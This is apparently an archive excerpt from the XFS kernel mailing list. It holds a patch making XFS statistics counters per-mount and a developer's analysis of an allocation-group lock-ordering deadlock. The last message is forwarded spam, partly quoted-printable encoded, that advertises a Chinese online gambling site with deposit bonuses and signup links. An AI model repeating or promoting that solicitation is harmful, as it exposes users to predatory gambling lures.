a/fs/xfs/xfs_log.c +++ b/fs/xfs/xfs_log.c @@ -268,7 +268,7 @@ xlog_grant_head_wait( __set_current_state(TASK_UNINTERRUPTIBLE); spin_unlock(&head->lock); - XFS_STATS_INC(xs_sleep_logspace); + XFS_STATS_INC(log->l_mp, xs_sleep_logspace); trace_xfs_log_grant_sleep(log, tic); schedule(); @@ -379,7 +379,7 @@ xfs_log_regrant( if (XLOG_FORCED_SHUTDOWN(log)) return -EIO; - XFS_STATS_INC(xs_try_logspace); + XFS_STATS_INC(mp, xs_try_logspace); /* * This is a new transaction on the ticket, so we need to change the @@ -448,7 +448,7 @@ xfs_log_reserve( if (XLOG_FORCED_SHUTDOWN(log)) return -EIO; - XFS_STATS_INC(xs_try_logspace); + XFS_STATS_INC(mp, xs_try_logspace); ASSERT(*ticp == NULL); tic = xlog_ticket_alloc(log, unit_bytes, cnt, client, permanent, @@ -1768,7 +1768,7 @@ xlog_sync( int v2 = xfs_sb_version_haslogv2(&log->l_mp->m_sb); int size; - XFS_STATS_INC(xs_log_writes); + XFS_STATS_INC(log->l_mp, xs_log_writes); ASSERT(atomic_read(&iclog->ic_refcnt) == 0); /* Add for LR header */ @@ -1805,7 +1805,7 @@ xlog_sync( bp = iclog->ic_bp; XFS_BUF_SET_ADDR(bp, BLOCK_LSN(be64_to_cpu(iclog->ic_header.h_lsn))); - XFS_STATS_ADD(xs_log_blocks, BTOBB(count)); + XFS_STATS_ADD(log->l_mp, xs_log_blocks, BTOBB(count)); /* Do we need to split this write into 2 parts? */ if (XFS_BUF_ADDR(bp) + BTOBB(count) > log->l_logBBsize) { @@ -2913,7 +2913,7 @@ restart: iclog = log->l_iclog; if (iclog->ic_state != XLOG_STATE_ACTIVE) { - XFS_STATS_INC(xs_log_noiclogs); + XFS_STATS_INC(log->l_mp, xs_log_noiclogs); /* Wait for log writes to have flushed */ xlog_wait(&log->l_flush_wait, &log->l_icloglock); @@ -3212,7 +3212,7 @@ _xfs_log_force( struct xlog_in_core *iclog; xfs_lsn_t lsn; - XFS_STATS_INC(xs_log_force); + XFS_STATS_INC(mp, xs_log_force); xlog_cil_force(log); @@ -3297,7 +3297,7 @@ maybe_sleep: spin_unlock(&log->l_icloglock); return -EIO; } - XFS_STATS_INC(xs_log_force_sleep); + XFS_STATS_INC(mp, xs_log_force_sleep); xlog_wait(&iclog->ic_force_wait, &log->l_icloglock); /* * No need to grab the log lock here since we're @@ -3362,7 +3362,7 @@ _xfs_log_force_lsn( ASSERT(lsn != 0); - XFS_STATS_INC(xs_log_force); + XFS_STATS_INC(mp, xs_log_force); lsn = xlog_cil_force_lsn(log, lsn); if (lsn == NULLCOMMITLSN) @@ -3411,7 +3411,7 @@ try_again: (XLOG_STATE_WANT_SYNC | XLOG_STATE_SYNCING))) { ASSERT(!(iclog->ic_state & XLOG_STATE_IOERROR)); - XFS_STATS_INC(xs_log_force_sleep); + XFS_STATS_INC(mp, xs_log_force_sleep); xlog_wait(&iclog->ic_prev->ic_write_wait, &log->l_icloglock); @@ -3441,7 +3441,7 @@ try_again: spin_unlock(&log->l_icloglock); return -EIO; } - XFS_STATS_INC(xs_log_force_sleep); + XFS_STATS_INC(mp, xs_log_force_sleep); xlog_wait(&iclog->ic_force_wait, &log->l_icloglock); /* * No need to grab the log lock here since we're diff --git a/fs/xfs/xfs_qm.c b/fs/xfs/xfs_qm.c index eac9549..7af7648 100644 --- a/fs/xfs/xfs_qm.c +++ b/fs/xfs/xfs_qm.c @@ -184,7 +184,7 @@ xfs_qm_dqpurge( */ ASSERT(!list_empty(&dqp->q_lru)); list_lru_del(&qi->qi_lru, &dqp->q_lru); - XFS_STATS_DEC(xs_qm_dquot_unused); + XFS_STATS_DEC(mp, xs_qm_dquot_unused); xfs_qm_dqdestroy(dqp); return 0; @@ -448,11 +448,11 @@ xfs_qm_dquot_isolate( */ if (dqp->q_nrefs) { xfs_dqunlock(dqp); - XFS_STATS_INC(xs_qm_dqwants); + XFS_STATS_INC(dqp->q_mount, xs_qm_dqwants); trace_xfs_dqreclaim_want(dqp); list_lru_isolate(lru, &dqp->q_lru); - XFS_STATS_DEC(xs_qm_dquot_unused); + XFS_STATS_DEC(dqp->q_mount, xs_qm_dquot_unused); return LRU_REMOVED; } @@ -496,19 +496,19 @@ xfs_qm_dquot_isolate( ASSERT(dqp->q_nrefs == 0); list_lru_isolate_move(lru, &dqp->q_lru, &isol->dispose); - XFS_STATS_DEC(xs_qm_dquot_unused); + XFS_STATS_DEC(dqp->q_mount, xs_qm_dquot_unused); trace_xfs_dqreclaim_done(dqp); - XFS_STATS_INC(xs_qm_dqreclaims); + XFS_STATS_INC(dqp->q_mount, xs_qm_dqreclaims); return LRU_REMOVED; out_miss_busy: trace_xfs_dqreclaim_busy(dqp); - XFS_STATS_INC(xs_qm_dqreclaim_misses); + XFS_STATS_INC(dqp->q_mount, xs_qm_dqreclaim_misses); return LRU_SKIP; out_unlock_dirty: trace_xfs_dqreclaim_busy(dqp); - XFS_STATS_INC(xs_qm_dqreclaim_misses); + XFS_STATS_INC(dqp->q_mount, xs_qm_dqreclaim_misses); xfs_dqunlock(dqp); spin_lock(lru_lock); return LRU_RETRY; diff --git a/fs/xfs/xfs_stats.h b/fs/xfs/xfs_stats.h index 54f2260..2ab82c5 100644 --- a/fs/xfs/xfs_stats.h +++ b/fs/xfs/xfs_stats.h @@ -218,14 +218,23 @@ int xfs_stats_format(struct xfsstats __percpu *stats, char *buf); void xfs_stats_clearall(struct xfsstats __percpu *stats); extern struct xstats xfsstats; -#define XFS_STATS_INC(v) \ - (per_cpu_ptr(xfsstats.xs_stats, current_cpu())->v++) +#define XFS_STATS_INC(mp, v) \ +do { \ + per_cpu_ptr(xfsstats.xs_stats, current_cpu())->v++; \ + per_cpu_ptr(mp->m_stats.xs_stats, current_cpu())->v++; \ +} while (0) -#define XFS_STATS_DEC(v) \ - (per_cpu_ptr(xfsstats.xs_stats, current_cpu())->v--) +#define XFS_STATS_DEC(mp, v) \ +do { \ + per_cpu_ptr(xfsstats.xs_stats, current_cpu())->v--; \ + per_cpu_ptr(mp->m_stats.xs_stats, current_cpu())->v--; \ +} while (0) -#define XFS_STATS_ADD(v, inc) \ - (per_cpu_ptr(xfsstats.xs_stats, current_cpu())->v += (inc)) +#define XFS_STATS_ADD(mp, v, inc) \ +do { \ + per_cpu_ptr(xfsstats.xs_stats, current_cpu())->v += (inc); \ + per_cpu_ptr(mp->m_stats.xs_stats, current_cpu())->v += (inc); \ +} while (0) extern int xfs_init_procfs(void); extern void xfs_cleanup_procfs(void); diff --git a/fs/xfs/xfs_super.c b/fs/xfs/xfs_super.c index e1a35a5..3f92f75 100644 --- a/fs/xfs/xfs_super.c +++ b/fs/xfs/xfs_super.c @@ -922,7 +922,7 @@ xfs_fs_destroy_inode( trace_xfs_destroy_inode(ip); - XFS_STATS_INC(vn_reclaim); + XFS_STATS_INC(ip->i_mount, vn_reclaim); ASSERT(XFS_FORCED_SHUTDOWN(ip->i_mount) || ip->i_delayed_blks == 0); @@ -983,8 +983,8 @@ xfs_fs_evict_inode( truncate_inode_pages_final(&inode->i_data); clear_inode(inode); - XFS_STATS_INC(vn_rele); - XFS_STATS_INC(vn_remove); + XFS_STATS_INC(ip->i_mount, vn_rele); + XFS_STATS_INC(ip->i_mount, vn_remove); xfs_inactive(ip); } diff --git a/fs/xfs/xfs_trans.c b/fs/xfs/xfs_trans.c index a0ab1da..748b16a 100644 --- a/fs/xfs/xfs_trans.c +++ b/fs/xfs/xfs_trans.c @@ -930,9 +930,9 @@ __xfs_trans_commit( */ if (sync) { error = _xfs_log_force_lsn(mp, commit_lsn, XFS_LOG_SYNC, NULL); - XFS_STATS_INC(xs_trans_sync); + XFS_STATS_INC(mp, xs_trans_sync); } else { - XFS_STATS_INC(xs_trans_async); + XFS_STATS_INC(mp, xs_trans_async); } return error; @@ -955,7 +955,7 @@ out_unreserve: xfs_trans_free_items(tp, NULLCOMMITLSN, !!error); xfs_trans_free(tp); - XFS_STATS_INC(xs_trans_empty); + XFS_STATS_INC(mp, xs_trans_empty); return error; } diff --git a/fs/xfs/xfs_trans_ail.c b/fs/xfs/xfs_trans_ail.c index 1098cf4..4f18fd9 100644 --- a/fs/xfs/xfs_trans_ail.c +++ b/fs/xfs/xfs_trans_ail.c @@ -349,7 +349,7 @@ xfsaild_push( xfs_ail_min_lsn(ailp))) { ailp->xa_log_flush = 0; - XFS_STATS_INC(xs_push_ail_flush); + XFS_STATS_INC(mp, xs_push_ail_flush); xfs_log_force(mp, XFS_LOG_SYNC); } @@ -371,7 +371,7 @@ xfsaild_push( goto out_done; } - XFS_STATS_INC(xs_push_ail); + XFS_STATS_INC(mp, xs_push_ail); lsn = lip->li_lsn; while ((XFS_LSN_CMP(lip->li_lsn, target) <= 0)) { @@ -385,7 +385,7 @@ xfsaild_push( lock_result = lip->li_ops->iop_push(lip, &ailp->xa_buf_list); switch (lock_result) { case XFS_ITEM_SUCCESS: - XFS_STATS_INC(xs_push_ail_success); + XFS_STATS_INC(mp, xs_push_ail_success); trace_xfs_ail_push(lip); ailp->xa_last_pushed_lsn = lsn; @@ -403,7 +403,7 @@ xfsaild_push( * re-try the flushing relatively soon if most of the * AIL is beeing flushed. */ - XFS_STATS_INC(xs_push_ail_flushing); + XFS_STATS_INC(mp, xs_push_ail_flushing); trace_xfs_ail_flushing(lip); flushing++; @@ -411,14 +411,14 @@ xfsaild_push( break; case XFS_ITEM_PINNED: - XFS_STATS_INC(xs_push_ail_pinned); + XFS_STATS_INC(mp, xs_push_ail_pinned); trace_xfs_ail_pinned(lip); stuck++; ailp->xa_log_flush++; break; case XFS_ITEM_LOCKED: - XFS_STATS_INC(xs_push_ail_locked); + XFS_STATS_INC(mp, xs_push_ail_locked); trace_xfs_ail_locked(lip); stuck++; From david@fromorbit.com Tue Oct 6 18:22:31 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 337FF7F37 for ; Tue, 6 Oct 2015 18:22:31 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 128AC8F8052 for ; Tue, 6 Oct 2015 16:22:27 -0700 (PDT) X-ASG-Debug-ID: 1444173744-04cbb03f14086e0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id kbrmAeQoo9wVFsDD for ; Tue, 06 Oct 2015 16:22:25 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2AZCwAZVxRWPEcOLHlWCIMngUKGWqJxAQEBAQEBBosXiyKGFAQCAoE6TQEBAQEBAQcBAQEBQT+EJAEBAQMBJxMcIwULCAMOCgklDwUlAwcaE4gmB8BuAQEIAiAZhhOFRYQ2BQEBUAeELgWWBIgHhQibdoR5KjOGfYFAAQEB Received: from ppp121-44-14-71.lns20.syd4.internode.on.net (HELO dastard) ([121.44.14.71]) by ipmail04.adl6.internode.on.net with ESMTP; 07 Oct 2015 09:52:24 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1ZjbYt-0002am-BZ; Wed, 07 Oct 2015 10:22:23 +1100 Date: Wed, 7 Oct 2015 10:22:23 +1100 From: Dave Chinner To: Brian Foster Cc: Ross Zwisler , xfs@oss.sgi.com Subject: Re: two failing xfstests using xfs (no DAX) Message-ID: <20151006232223.GQ27164@dastard> X-ASG-Orig-Subj: Re: two failing xfstests using xfs (no DAX) References: <20151002174941.GA25082@linux.intel.com> <20151002223402.GM27164@dastard> <20151006143854.GA63205@bfoster.bfoster> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20151006143854.GA63205@bfoster.bfoster> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1444173744 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23252 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Oct 06, 2015 at 10:38:54AM -0400, Brian Foster wrote: > On Sat, Oct 03, 2015 at 08:34:02AM +1000, Dave Chinner wrote: > > On Fri, Oct 02, 2015 at 11:49:41AM -0600, Ross Zwisler wrote: > > > Recently I've been trying to get a stable baseline for my DAX testing using > > > various filesystems, and in doing so I noticed a pair of tests that were > > > behaving badly when run on XFS without DAX. These test failures happen in > > > both v4.2 and v4.3-rc3, though the signatures may vary a bit. > > > > > > My testing setup is a kvm virtual machine with 8 GiB of its 16GiB of memory > > > reserved for PMEM using the mmap parameter (memmap=8G!8G) and with the > > > CONFIG_X86_PMEM_LEGACY config option enabled. I've attached my full kernel > > > config to this mail. > > > > > > The first test failure is generic/299, which consistently deadlocks in the XFS > > > code in both v4.2 and v4.3-rc3. The stack traces presented in dmesg via "echo > > > w > /proc/sysrq-trigger" are consistent between these two kernel versions, and > > > can be found in the "generic_299.deadlock" attachment. > > > > Yes, we've recently identified a AGF locking order problem on an > > older kernel that this looks like. We haven't found the root cause > > of it yet, but it's good to know that generic/299 seems to reproduce > > it. I'll run that in a loop to see if I can get it to fail here... > > > > First off, a quick rundown of where we're at so far: > > - The deadlock occurs because a dio/aio write attempts a reverse ordered > agf lock (e.g., lock agf3 -> lock agf0, assuming agcount == 4) and > races with a truncate (doing something likelock agf0 -> agf3). > - The reverse ordered agf lock occurs in xfs_alloc_vextent() because > xfs_alloc_space_available() (via xfs_alloc_fix_freelist()) indicates > an AG can support an allocation, but subsequently fails to allocate > later on in xfs_alloc_fix_minleft(). This causes the higher level code > in xfs_alloc_vextent to wrap around to ag 0 when it should have either > not locked ag3 or successfully allocated. > > I pointed out that xfs_alloc_space_available() appears to incorporate > agf_flcount whereas xfs_alloc_fix_minleft() does not. Dave subsequently > pointed out that the flcount is factored out of the former via the > 'min_free' parameter, so this calculation is actually consistent with > respect to the free list count. [snip] > On the contrary, the call from xfs_alloc_file_space() passes a 0 similar > to the iomap_write_direct() case. Furthermore, the xfs_bmap_btalloc() > code can set (or reset) args.total to minlen internally based on a free > list flag. Given the documentation for xbf_low, perhaps this code > assumes args.total > args.minlen and is effectively "resetting" it to > the minimum length? If so, that suggests that the 1/0 callers are the > incorrect callers and should be fixed to incorporate the extent > length..? That's what it looks like. As discussed on #xfs, these hardcoded values have been there since the initial direct IO commit back in 1994, though it's changed from 0 to 1 and back to zero over the course of the linux port from Irix. Basically it looks like these 0/1 magic numbers have been cargo culted since their undocumented introduction back in 1994... I think the correct thing to do right now is to fix all of these xfs_bmapi_write() call sites to pass in the block count expected to be allocated during the operation as it appears the lower layers expect it to be set appropriately for the allocation being done... Cheers, Dave. -- Dave Chinner david@fromorbit.com From bounce-md_9656357.56146c6f.v1-1869fd29230744dcb9d6b652155db896@mandrillapp.com Tue Oct 6 19:51:04 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A44757F37 for ; Tue, 6 Oct 2015 19:51:04 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 83C9D8F8052 for ; Tue, 6 Oct 2015 17:51:01 -0700 (PDT) X-ASG-Debug-ID: 1444179056-04cbb03f1209d10001-NocioJ Received: from mail4.mcsignup.com (mail4.mcsignup.com [205.201.139.1]) by cuda.sgi.com with ESMTP id MlAHlzcCLBK0vPvA (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 17:50:56 -0700 (PDT) X-Barracuda-Envelope-From: bounce-md_9656357.56146c6f.v1-1869fd29230744dcb9d6b652155db896@mandrillapp.com X-Barracuda-Apparent-Source-IP: 205.201.139.1 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; s=mandrill; d=mail4.mcsignup.com; h=From:Sender:Subject:To:Message-Id:Date:MIME-Version:Content-Type; i=zhanjushen@mail4.mcsignup.com; bh=lSdIaHMM16iM5tosE0dYr5pBFmc=; b=Nq29OkAXKrqg5HcUZIiz2tFov2XG87VKBqqxie0gAi6jzqQgjh6wJ75AdtDtHcB1MrXXL8tIvv+b WEwf/28ADQoNVrejChachsCHRaOAtjyoqJc47AUetg5deug3/kwg2THF6JY6+QUixDHJUSiK6DKR a8q60bpvAYlxNhym9Wk= DomainKey-Signature: a=rsa-sha1; c=nofws; q=dns; s=mandrill; d=mail4.mcsignup.com; b=blWj6S0GKAO2oNpesAuTuGZW+NdsM4n5PPgMlQSViL3zoUl6fZMAc82WdD1gK12nuQTMWd0udAQY LWJc/uFD0l0ssSnbQTd1SdvhVcPp/dxo/c5jMm0BUxSqjiX6DoaipJp2Bz99HrrCvViyTrwMUdrH /Xqgqk44syvipMqRJPw=; Received: from pmta05.wdc01.mailchimp.com (127.0.0.1) by mail4.mcsignup.com id h2hm701jvjgt for ; Wed, 7 Oct 2015 00:50:55 +0000 (envelope-from ) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=mandrillapp.com; i=@mandrillapp.com; q=dns/txt; s=mandrill; t=1444179055; h=From : Sender : Subject : To : Message-Id : Date : MIME-Version : Content-Type : From : Subject : Date : X-Mandrill-User : List-Unsubscribe; bh=1HzdPNO4NTaabvMINHNJyWEbmM1tlVK4Z79n5l4yb9I=; b=etJYdx1OWDACfqzLqaOgPSXTv0ghHMUPbTVhoZTxU+yQQAOFo0BknnmpnRRbpOQnWQcial V14AN0DVl7s4CtSBPJ389NlYjXu1lpoLX5fSa+EWpoHl5ydRYYxYfH172tL4ycOAFu0Z2YOf QekESF64cgRU4G8bhlLwrDXdmLY+8= From: zhanjushen Sender: zhanjushen Subject: zhanjushen videresender en e-mail til dig X-ASG-Orig-Subj: zhanjushen videresender en e-mail til dig Received: from [205.201.132.14] by mandrillapp.com id 1869fd29230744dcb9d6b652155db896; Wed, 07 Oct 2015 00:50:55 +0000 X-Accounttype: pd X-Auto-Response-Suppress: OOF, AutoReply Auto-Submitted: auto-generated To: tianchenxiang X-Report-Abuse: Please forward a copy of this message, including all headers, to abuse@mandrill.com X-Report-Abuse: You can also report abuse here: http://mandrillapp.com/contact/abuse?id=9656357.1869fd29230744dcb9d6b652155db896 X-Mandrill-User: md_9656357 Message-Id: <9656357.20151007005055.56146c6fd05c40.85806927@mail4.mcsignup.com> Date: Wed, 07 Oct 2015 00:50:55 +0000 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="_av-wNbXohvT9BIajEXAt8CEPQ" X-Barracuda-Connect: mail4.mcsignup.com[205.201.139.1] X-Barracuda-Start-Time: 1444179056 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.40 X-Barracuda-Spam-Status: No, SCORE=0.40 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085b, DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23256 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message 0.40 BSF_SC0_SA085b Custom Rule SA085b --_av-wNbXohvT9BIajEXAt8CEPQ Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable Mylooks VIP Deals =3D F=C3=A5 eksklusive tilbud p=C3=A5 behandling =3D Hej tianchenxiang, zhanjushen t=C3=A6nkte, at dette kunne have din interesse: http://us7.forward-to-friend.com/forward/show?u=3D488744d1114c763c3fd1129d= 6&id=3Dcc229062d6 zhanjushen omfattede ogs=C3=A5 denne personlige besked til dig: 2:=E5=85=A8=E5=9B=BD=E6=8B=9B=E2=88=9A=E4=BB=A3=E2=88=9A=E7=90=86=E6=9C=88= =E8=B5=9A10=E4=B8=87=E2=88=9A =E8=91=A1=E4=BA=AC=E6=90=BA=E6=89=8BBBIN OG X= TD AG HG AB =E5=85=AD=E5=A4=A7=E5=B9=B3=E5=8F=B0 =E5=8D=8D=E6=9C=80=E2=99=82=E6=96=B0=E6=B6=88=E2=98=85=E6=81=AF=E9=80=81=E9= =BB=84=E2=88=9A=E9=87=91VIP=E4=BC=9A=E2=88=9A=E5=91=98=E4=BB=BB=E4=BD=95=E4= =BA=BA=E9=83=BD=E5=8F=AF=E4=BB=A5=E5=8F=82=E2=88=9A=E5=8A=A0=EF=BC=9A =E4=B8=93=E5=B1=9E=E6=B3=A8=E5=86=8C=E9=80=9A=E9=81=93:6 9 9 7 7 6 .com =E6= =88=96 to4.cn/am9166 =E6=80=BB=E5=85=AC=E5=8F=B8=E4=B8=AD=E6=96=87=E7=BD=91=E5=9D=80:=E8=91=A1= =E4=BA=AC=E5=A8=B1=E4=B9=90=E5=9F=8E.=E5=85=AC=E5=8F=B8 =E6=9C=80=E2=80=BB=E6=96=B0=E2=80=BB=E6=B6=88=E2=80=BB=E6=81=AF=EF=BC=9A=E9= =A6=96=E6=AC=A1=E2=80=BB=E5=AD=98=E2=80=BB=E6=AC=BE100=E5=85=83=E4=BB=A5=E4= =B8=8A=E7=9A=84=EF=BC=8C=E8=B5=A0=E2=80=BB=E9=80=81100%=E9=A6=96=E2=80=BB= =E5=AD=98=E5=BD=A9=E2=80=BB=E9=87=91=EF=BC=8C=E5=AD=98=E2=80=BB=E6=AC=BE=E6= =88=90=E2=80=BB=E5=8A=9F=E5=85=8D=E2=80=BB=E8=B4=B9=E5=8D=87=E2=80=BB=E7=BA= =A7=E9=BB=84=E2=80=BB=E9=87=91VIP=E2=80=BB=E4=BC=9A=E2=80=BB=E5=91=98=EF=BC= =8C=E6=9C=80=E2=80=BB=E9=AB=98=E9=99=90=E2=80=BB=E5=88=B650000=E5=85=83=EF= =BC=8C10=E5=80=8D=E6=B5=81=E2=80=BB=E6=B0=B4=E5=8D=B3=E2=80=BB=E5=8F=AF=E5= =87=BA=E2=80=BB=E6=AC=BE =E8=AF=A6=E6=83=85=E7=99=BB=E5=85=A5--=E6=B3=A8=E5=86=8C---=E5=92=A8=E8=AF= =A2---7x24=E5=B0=8F=E6=97=B6=E5=AE=A2=E6=9C=8D =E5=A4=A9=E5=A4=A9=E8=BF=94=E6=B0=B4=E9=AB=98=E9=81=942.8%=E6=97=A0=E4=B8= =8A=E9=99=90=EF=BC=8C=E5=85=AC=E8=AE=A4=E4=BF=A1=E8=AA=89 =E5=AE=89=E5=85=A8=E6=B0=B8=E4=B9=85=EF=BC=88=E7=8B=AC=E4=B8=80=E6=97=A0=E4= =BA=8C=EF=BC=8C=E4=BB=85=E6=AD=A4=E4=B8=80=E5=AE=B6=EF=BC=89 =E5=8D=95=E7= =AC=94=E6=9C=80=E9=AB=98=E6=8F=90=E6=AC=BE1000=E4=B8=87=EF=BC=8C =E5=AD=98=E5=8F=96=E6=AC=BE=E8=87=AA=E7=94=B1=EF=BC=8C0=E6=89=8B=E7=BB=AD= =E8=B4=B9 3=E5=88=86=E9=92=9F=E5=88=B0=E8=B4=A6 =E8=B5=9B=E4=BA=8B=E6=9C=80=E5=85=A8=EF=BC=8C=E8=B5=94=E7=8E=87=E6=9C=80=E9= =AB=98=EF=BC=8C=E8=BF=94=E6=B0=B4=E6=9C=80=E9=AB=98=EF=BC=8C=E7=BB=93=E7=AE= =97=E6=9C=80=E5=BF=AB=EF=BC=8C=E6=98=AF=E4=BA=9A=E6=B4=B2=E6=9C=80=E5=8F=97= =E6=AC=A2=E8=BF=8E=E4=BD=93=E8=82=B2=E6=8A=95=E6=B3=A8=E5=B9=B3=E5=8F=B0. . =E7=94=B3=E2=88=9A=E8=AF=B7=E2=88=9A18=E5=85=83=E2=98=85=E6=8E=A8=E2=99=80= =E5=B9=BF=E5=BD=A9=E2=98=86=E9=87=91=E9=9C=80=E2=88=9A=E8=A6=81=E6=8E=A8=E2= =99=82=E5=B9=BF=E8=BD=AC=E2=99=80=E5=8F=91=E6=B6=88=E2=88=9A=E6=81=AF=EF=BC= =81 =E4=BB=B0=E6=85=95=E5=B7=B2=E4=B9=85=E8=AF=B4=E4=B9=85=E4=BB=B0=EF=BC=8C=E9= =95=BF=E6=9C=9F=E6=9C=AA=E8=A7=81=E8=AF=B4=E4=B9=85=E8=BF=9D=EF=BC=8C=E6=B1= =82=E4=BA=BA=E5=B8=AE=E5=BF=99=E8=AF=B4=E5=8A=B3=E9=A9=BE=E3=80=82 Fandt du linket interessant? Du kan ogs=C3=A5 videresende den til dine venner: http://us7.forward-to-friend.com/forward?u=3D488744d1114c763c3fd1129d6&id= =3Dcc229062d6 Du kan tilmelde dig flere e-mails p=C3=A5: http://kosmetiskguide.us7.list-manage.com/subscribe?u=3D488744d1114c763c3f= d1129d6&id=3D0c8e216d02 * Bem=C3=A6rk: hvis der ikke kan klikkes p=C3=A5 nogen af =E2=80=8B=E2=80= =8Bwebadresserne ovenfor kan du kopiere/inds=C3=A6tte dem i din webbrowser. --_av-wNbXohvT9BIajEXAt8CEPQ Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: quoted-printable Mylooks VIP Deals =09
=09
=09 =09
=09 =09 =09 =09 =09 =09 =09
=09 =09 =09
=09

3D"Mylooks

Få eksklusive tilbud på behandling

=09
=09 =09 =09
Hej tianchenxiang,

zhanjushen t=C3=A6nkte, at dette kunne have din interesse:
http://us7.forward-t= o-friend.com/forward/show?u=3D488744d1114c763c3fd1129d6&id=3Dcc229062d6

zhanjushen omfattede ogs=C3=A5 denne personlige besked til dig:

2:=E5=85=A8=E5=9B=BD=E6=8B=9B=E2=88=9A=E4=BB=A3=E2=88=9A=E7=90=86=E6=9C=88= =E8=B5=9A10=E4=B8=87=E2=88=9A =E8=91=A1=E4=BA=AC=E6=90=BA=E6=89=8BBBIN OG XTD AG HG AB =E5=85=AD=E5=A4=A7= =E5=B9=B3=E5=8F=B0 =E5=8D=8D=E6=9C=80=E2=99=82=E6=96=B0=E6=B6=88=E2=98=85=E6=81=AF=E9=80=81=E9= =BB=84=E2=88=9A=E9=87=91VIP=E4=BC=9A=E2=88=9A=E5=91=98=E4=BB=BB=E4=BD=95=E4= =BA=BA=E9=83=BD=E5=8F=AF=E4=BB=A5=E5=8F=82=E2=88=9A=E5=8A=A0=EF=BC=9A =E4=B8=93=E5=B1=9E=E6=B3=A8=E5=86=8C=E9=80=9A=E9=81=93:6 9 9 7 7 6 .com =E6= =88=96 to4.cn/am9166 =E6=80=BB=E5=85=AC=E5=8F=B8=E4=B8=AD=E6=96=87=E7=BD=91=E5=9D=80:=E8=91=A1= =E4=BA=AC=E5=A8=B1=E4=B9=90=E5=9F=8E.=E5=85=AC=E5=8F=B8 =E6=9C=80=E2=80=BB=E6=96=B0=E2=80=BB=E6=B6=88=E2=80=BB=E6=81=AF=EF=BC=9A=E9= =A6=96=E6=AC=A1=E2=80=BB=E5=AD=98=E2=80=BB=E6=AC=BE100=E5=85=83=E4=BB=A5=E4= =B8=8A=E7=9A=84=EF=BC=8C=E8=B5=A0=E2=80=BB=E9=80=81100%=E9=A6=96=E2=80=BB= =E5=AD=98=E5=BD=A9=E2=80=BB=E9=87=91=EF=BC=8C=E5=AD=98=E2=80=BB=E6=AC=BE=E6= =88=90=E2=80=BB=E5=8A=9F=E5=85=8D=E2=80=BB=E8=B4=B9=E5=8D=87=E2=80=BB=E7=BA= =A7=E9=BB=84=E2=80=BB=E9=87=91VIP=E2=80=BB=E4=BC=9A=E2=80=BB=E5=91=98=EF=BC= =8C=E6=9C=80=E2=80=BB=E9=AB=98=E9=99=90=E2=80=BB=E5=88=B650000=E5=85=83=EF= =BC=8C10=E5=80=8D=E6=B5=81=E2=80=BB=E6=B0=B4=E5=8D=B3=E2=80=BB=E5=8F=AF=E5= =87=BA=E2=80=BB=E6=AC=BE =E8=AF=A6=E6=83=85=E7=99=BB=E5=85=A5--=E6=B3=A8=E5=86=8C---=E5=92=A8=E8=AF= =A2---7x24=E5=B0=8F=E6=97=B6=E5=AE=A2=E6=9C=8D =E5=A4=A9=E5=A4=A9=E8=BF=94=E6=B0=B4=E9=AB=98=E9=81=942.8%=E6=97=A0=E4=B8= 